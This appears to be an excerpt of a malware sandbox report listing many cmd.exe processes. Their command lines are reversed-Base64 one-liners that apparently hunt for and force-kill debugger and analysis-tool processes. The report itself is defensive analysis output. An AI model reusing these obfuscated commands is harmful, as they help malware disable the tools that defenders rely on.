  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2996
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5596
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4348
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2560
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4684
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4228
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6100
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1000
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1844
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3204
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:720
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2720
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3816
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6028
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3480
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5100
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4604
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4396
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2532
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1692
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2964
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5220
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:204
- C:\Windows\SYSTEM32\cmd.exe
